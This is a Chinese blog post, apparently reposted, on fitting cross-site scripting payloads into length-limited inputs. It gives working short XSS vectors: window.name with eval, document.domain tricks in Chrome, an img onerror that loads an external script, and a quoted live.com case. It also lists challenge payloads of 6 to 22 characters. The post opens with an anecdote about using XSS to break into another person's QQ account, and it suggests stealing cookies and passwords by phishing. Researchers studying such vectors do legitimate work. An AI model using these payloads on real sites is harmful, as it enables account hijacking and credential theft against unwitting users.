Short XSS
Short XSS
0x00 背景
关键时候长度不够怎么办?
在实际的情况中如果你不够长怎么办呢?看医生?吃药?做手术?。。。。。。。。。。。。。。算了,既然自身硬件不足,那么就把缺点变优点吧。熟话说:小是小威力好。
熟话说的好,要能长能短,收放自如。在很多的情况中,我们构造的语句是被限制在一定的字符数内。所以这个就是考验你能短的时候能不能短,能长的时候能不能长的时候到了。
0x01 现实中的悲剧
这是一个活生生的悲剧,一个平台上面,一个二逼朋友有妹子的平台账号,但是二逼朋友想进妹子的QQ空间,用平台的备注插QQ-XSS代码,但是因为限制的字符太短,最终抱头痛哭。于是就有了下图所发生:
0x02 怎么变”短”
#!html
"><script>alert(1)</script>
.............................27 letters?
Alert(1)? No Run?
Impossible?
No!
在实际情况中,可以通过<h1>
短向量或者其他的短向量去测试存在XSS的地方,为什么可以这样?HTML是一门”不太严格”的解释语言,即使没有</h1>
,很多浏览器也照样可以解释为
#!html
<h1>xss</h1>
<h1>
xss
S1:
S2:
S3:
但是如果在攻击的时候,我往往需要用到很多标签、属性来达到我们的目的。下面列出一些比较猥琐的利用
<svg/onload=domain=id>
S1:在chrome浏览器存在一个同域读取漏洞,为什么说同域呢?
S2:在chrome下如果我们访问www.baidu.com,通过控制台来设置一下域为空,document.domain="",就会出现以下的错误。
S3:为什么说chrome浏览器存在一个同域读取漏洞呢?下面我们通过访问www.baidu.com.来访问一下(com后面还有一个.)并设置一下域为空
#!javascript
document.domain=""
设置结果就会出现以下图片所示。
S4:这个怎么利用?
首先说一个问题,就是说,在同域的情况下,DOM是互通的。就相当于我a可以写b的,b也可以同样写a的。那我们该怎么来利用呢?我们可以干很多事情,比如说重写页面钓鱼,或者盗取同域Cookie。下面我就用Chrome的控制台来演示一下这个内容读取漏洞。
S5:先来看看两段代码:
本地构造的攻击页面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<h1>这是a.com./12.html</h1>
<svg/onload=domain=id>
</body>
</html>
存在缺陷的XSS页面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<h1>这是b.com./11.html</h1>
<svg/onload=domain=id>
</body>
</html>
S6:下面我们通过访问我们构造的攻击页面,也就是a.com./12.html,然后读取domain看看,结果如下图:
S7:然后我们在控制台里面用window.open()方法打开打开存在缺陷的XSS页面.然后同样用domain查看域.
S8:我们从上面就可以查看出,现在a.com.和b.com.都是处于同一域下面,那么就可以实现DOM相通的概念了。
S9:通过DOM重写页面测试,测试结果如下图:
S10:其实这个方法的用处很多,比如说我找到XXX的XSS页面,我通过把域置空,然后在自己站上构造一个页面,怎么构造就要看你的思维了,通过同域的DOM操作,可以钓鱼的方式盗取COOKIE、密码等。
<svg/onload=eval(name)>
S1:先把代码文译一下:
#!html
<svg/onload=eval(window.name)>
S2:这一段代码通过svg载入的时候执行onload事件,执行的时候通过windows.name传递给eval执行,如果我们自己构造一个攻击页面,然后传递的XSS代码呢?下面看一段代码:
本地构造的攻击页面:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="alert(1)"></iframe>
</body>
</html>
存在缺陷的XSS页面:
#!html
<!DOCTYPE html>
<html>
<body>
<svg/onload=eval(name)>
</body>
</html>
S3:然后运行页面,测试结果如下:
<i/onclick=URL=name>
S1:上面的代码文译一下:
#!html
<i/onclick=document.URL=window.name>
S2:其实这段代码和上一段差不多多少,这里就不截图了,简单的讲解一下。通过点击执行事件把window.name的内容给document.URL然后执行javascript代码。那么我们可以怎么利用呢?
存在缺陷的XSS页面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<i/onclick=URL=name>
</body>
</html>
本地构造的攻击页面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="javascript:alert(1)"></iframe>
</body>
</html>
<img src=x onerror=eval(name)>
S1:先把代码文译一下:
#!html
<img src=x onerror=eval(window.name)>
S2:邪恶的eval又来了。通过img元素的src属性出错,执行onerror事件,通过邪恶的eval执行window.name里面的代码。
S3:那我们怎么来实现呢?
本地构造的攻击页面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="alert(1)"></iframe>
</body>
存在缺陷的XSS页面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<img src="s.sx" onerror=eval(name) />
</body>
</html>
其实有很多用法,当然你也可以直接:
#!html
<img src=x onerror=eval(alert(1)) />
还可以
#!html
<img src=x onerror=eval(变量) />
还可以通过调用元素属性,或者是程序员自写的js代码
<img src=x onerror=with(body)createElement('script').src='[JS地址]'>
S1:通过img元素的src属性出错,执行onerror事件.
S2:用with定位到body,通过DOM的一个createElement方法创建一个script元素,并使用script的src属性指向需要调用的外部js文件。从而达到攻击的目的。
S3:这个就不讲解了,都应该能够看懂
0x03 实例
下面引用长谷川的PPT的一部分(此PPT引用经过作者同意)
通过查看源代码:
地址:
https://*.live.com/?param=><h1>XSSed</h1><!--
#!html
<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
<input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").
SOURCE: System.Web FORM:" />
找出了XSS的原因是由错误消息引起的XSS
然后通过攻击者自己构造的页面构造XSS,并成功实现。
#!html
<iframe src="target" name="javascript:alert(1)">
(或者使用JavaScript的window.open)
最终:作者通过21个字符实现XSS(关于实现的方法请见上面的一些比较猥琐的利用元素标签)
代码为:
#!html
><i/onclick=URL=name>
当然22个字符也有很多方法(//后面为我们构造的代码开始) 20 Letters
#!html
<input type=hidden value=//><i/onclick=URL=name>
22 Letters
#!html
<input type=hidden value="//"><i/onclick=URL=name>">
17 Letters
#!html
<input type=text value= //onclick=URL=name>
0x04 挑战最”短”
这个活动是国外一个网站发布的,名为XSS challenge,大家有兴趣可以讨论一下 19 Letters
<x/x=&{eval(name)};
16Letters
<q/oncut=open()>
22 Letters
<svg/onload=eval(name)
最短的javascript执行代码,考验你”短”的时候到了
10 Letters eval(name)
9 Letters eval(URL)
8 Letters URL=name
6 Letters $(URL)
Short XSS的更多相关文章
- A complex 16-Level XSS Challenge
A complex 16-Level XSS Challenge, held in summer 2014 (+1 Hidden Level) Index Level 0 Level 1 Level ...
- 游戏引擎架构 (Jason Gregory 著)
第一部分 基础 第1章 导论 (已看) 第2章 专业工具 (已看) 第3章 游戏软件工程基础 (已看) 第4章 游戏所需的三维数学 (已看) 第二部分 低阶引擎系统 第5章 游戏支持系统 (已看) 第 ...
- PHP清理跨站XSS xss_clean 函数 整理自codeigniter Security
PHP清理跨站XSS xss_clean 函数 整理自codeigniter Security 由Security Class 改编成函数xss_clean 单文件直接调用.BY吠品. //来自cod ...
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...
- XSS挑战第一期Writeup
0x00 起因 这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过 ...
- 超强XSS攻击利器
======================================================================= BackTrack 5 R1 XSS研究之XSSer(超 ...
- 应用安全-Web安全-XSS(跨站攻击)攻防整理
分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...
- 防御XSS攻击-encode用户输入内容的重要性
一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...
- XSS
XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...
随机推荐
- 阶段5 3.微服务项目【学成在线】_day05 消息中间件RabbitMQ_13.RabbitMQ研究-工作模式-header和rpc工作模式
header模式 header模式与routing不同的地方在于,header模式取消routingkey,使用header中的 key/value(键值对)匹配 队列. 案例: 根据用户的通知设置去 ...
- [Java]1.两数之和 - LeetCode
1 题目 2 思路与代码 思路一:暴力法(两层For循环) 时间复杂度:O(n^2) 对于每个元素,我们试图通过遍历数组的其余部分来寻找它所对应的目标元素,这将耗费 O(n) 的时间.因此时间复杂度为 ...
- C-LODOP的端口和网站的端口
c-lodop的端口和网站的端口是不同的,不需要修改自己网站的端口.c-lodop32位标准版端口:8000,18000 (http网站)c-lodop32扩展版端口:8000,18000(http网 ...
- 【文章存档】Local Git 如何部署分支
又来存档文章了,链接 https://docs.azure.cn/zh-cn/articles/azure-operations-guide/app-service-web/aog-app-servi ...
- Linux sar命令
yum install sysstat 安装 sar [root@wang /]# sar -n DEV Linux -.el6.x86_64 (wang) 2016年12月21日 _x86_64_ ...
- spring的控制器如何跳转到指定的视图
1.控制器代码 2.跳转代码 return "greeting"; 引号内为跳转的页面,默认不需要加html
- NOIP 2015:信息传递
题目描述 有n个同学(编号为1到n)正在玩一个信息传递的游戏.在游戏里每人都有一个固定的信息传递对象,其中,编号为i的同学的信息传递对象是编号为Ti同学. 游戏开始时,每人都只知道自己的生日.之后每一 ...
- [Cometoj#3 B]棋盘_状压dp
棋盘 题目链接:https://cometoj.com/contest/38/problem/B?problem_id=1535 数据范围:略. 题解: 因为行数特别小,所以$dp$的时候可以状压起来 ...
- SQLSERVER 查看服务器IP地址的命令
今天进行负载均衡的测试的时候 想查询一下数据库相关信息 百度了下 找到解决方案为: SELECT SERVERNAME = CONVERT(NVARCHAR(),SERVERPROPERTY('SER ...
- java中讲讲PrintWriter的用法,举例?
[学习笔记] 1.2 PrintWriter的用法 PrintWriter和PrintStream类似,只不过PrintStream是针对字节流的,而PrintWriter是针对字符流的. 例:1.2 ...